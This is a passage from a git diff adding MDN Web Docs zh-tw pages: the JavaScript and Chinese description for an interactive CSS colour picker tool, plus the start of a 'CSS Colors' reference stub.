+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action &gt;= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action &lt;= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue &lt; 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i &lt; size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i &lt; nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i&lt;16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+
+<p>{{CSSRef}}</p>
+
+<p>這是個可以讓人新增、調整和測試網頁顏色的工具。藉由這個工具讓人可以輕鬆將顏色轉換成各種 CSS 支援的格式，包含：HEXA、RGB（Red/Green/Blue）和 HSL （Hue/Staturation/Lightness）。在 RGB（rgba）和 HSL（hsla）格式也支援控制阿爾法通道（alpha channel）</p>
+
+<p>隨著調整每個顏色都會顯示成三種 CSS 的標準格式；此外，基於目前選擇的顏色，一個調色板 HSL 和 HSV、還有 alpha, 被創建。滴管風格的色彩選擇器對話框可以在 HSL 或 HSV 格式中切換。</p>
+
+<p>{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}</p>
+
+<p> </p>
diff --git a/files/zh-tw/web/css/css_colors/index.html b/files/zh-tw/web/css/css_colors/index.html
new file mode 100644
index 0000000000..607d1790af
--- /dev/null
+++ b/files/zh-tw/web/css/css_colors/index.html
@@ -0,0 +1,119 @@
+---
+title: CSS Colors
+slug: Web/CSS/CSS_Colors
+tags:
+  - CSS
+  - CSS Colors
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Color
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>CSS Colors</strong> is a module of CSS that deals with colors, color types and transparency.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_Data_Types">CSS Data Types</h3>
+
+<p>{{cssxref("&lt;color&gt;")}}</p>
+
